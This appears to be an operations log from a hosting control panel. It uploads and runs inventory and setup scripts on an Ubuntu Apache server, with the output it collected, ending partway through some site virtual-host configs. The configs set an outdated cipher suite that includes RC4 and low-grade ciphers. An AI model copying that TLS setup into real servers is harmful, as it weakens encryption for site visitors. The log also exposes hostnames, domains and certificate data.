4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-23 06:00:02: Establishing a connection
2025-12-23 06:00:03: Establishing a connection
2025-12-23 06:00:04:
PUT: /tmp/pkp467495
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-23 06:00:05:
chmod 755 /tmp/pkp467495; /tmp/pkp467495; rm /tmp/pkp467495
2025-12-23 06:00:05:
0
2025-12-23 12:13:59: Establishing a connection
2025-12-23 12:14:08: Establishing a connection
2025-12-23 12:14:08: Performing Server Status
2025-12-23 12:14:08:
PUT: /tmp/pkp659362
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 12:14:08:
chmod 755 /tmp/pkp659362; /tmp/pkp659362; rm /tmp/pkp659362
2025-12-23 12:14:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.15.0-164-generic
2025-12-23 12:14:08:
PUT: /tmp/pkp616750
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 12:14:08:
chmod 755 /tmp/pkp616750; /tmp/pkp616750; rm /tmp/pkp616750
2025-12-23 12:14:08:
[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built: 2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded: APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 877
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 877 0.1 0.6 202728 24940 ? Ss 12:13 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php7_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 12:14:08:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'mars',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 22.04.5 LTS',
'rel' => '22.04.5',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'headers_module',
22 => 'mime_module',
23 => 'mpm_prefork_module',
24 => 'negotiation_module',
25 => 'php7_module',
26 => 'proxy_module',
27 => 'proxy_fcgi_module',
28 => 'reqtimeout_module',
29 => 'rewrite_module',
30 => 'setenvif_module',
31 => 'socache_shmcb_module',
32 => 'ssl_module',
33 => 'status_module',
),
),
)
2025-12-23 12:14:08:
PUT: /tmp/pkp897885
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 12:14:08:
chmod 755 /tmp/pkp897885; /tmp/pkp897885; rm /tmp/pkp897885
2025-12-23 12:14:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 12:14:08:
PUT: /tmp/pkp565186
#!/bin/bash
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 12:14:09:
chmod 755 /tmp/pkp565186; /tmp/pkp565186; rm /tmp/pkp565186
2025-12-23 12:14:09:
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
2025-12-23 12:14:09:
PUT: /tmp/pkp841120
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:14:09:
chmod 755 /tmp/pkp841120; /tmp/pkp841120; rm /tmp/pkp841120
2025-12-23 12:14:09:
(gzipped output)
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-23 12:14:09:
PUT: /tmp/pkp515449
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 12:14:09:
chmod 755 /tmp/pkp515449; /tmp/pkp515449; rm /tmp/pkp515449
2025-12-23 12:14:09:
status=ok
2025-12-23 12:14:09:
PUT: /tmp/pkp894180
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:14:09:
chmod 755 /tmp/pkp894180; /tmp/pkp894180; rm /tmp/pkp894180
2025-12-23 12:14:09:
2025-12-23 12:14:09:
PUT: /tmp/pkp255826
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/carelinksaustralia_www_info.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_backup_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_media_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 12:14:09:
chmod 755 /tmp/pkp255826; /tmp/pkp255826; rm /tmp/pkp255826
2025-12-23 12:14:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinksaustralia_www_info.conf 1362
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
ServerAlias www.carelinksaustralia.info
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_backup_org.conf 1700
<VirtualHost *:80>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/hopeinstoughton/backup_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName backup.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
DocumentRoot /var/www/hopeinstoughton_backup
<Directory /var/www/hopeinstoughton_backup>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/backup_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/backup_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_media_org.conf 1673
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
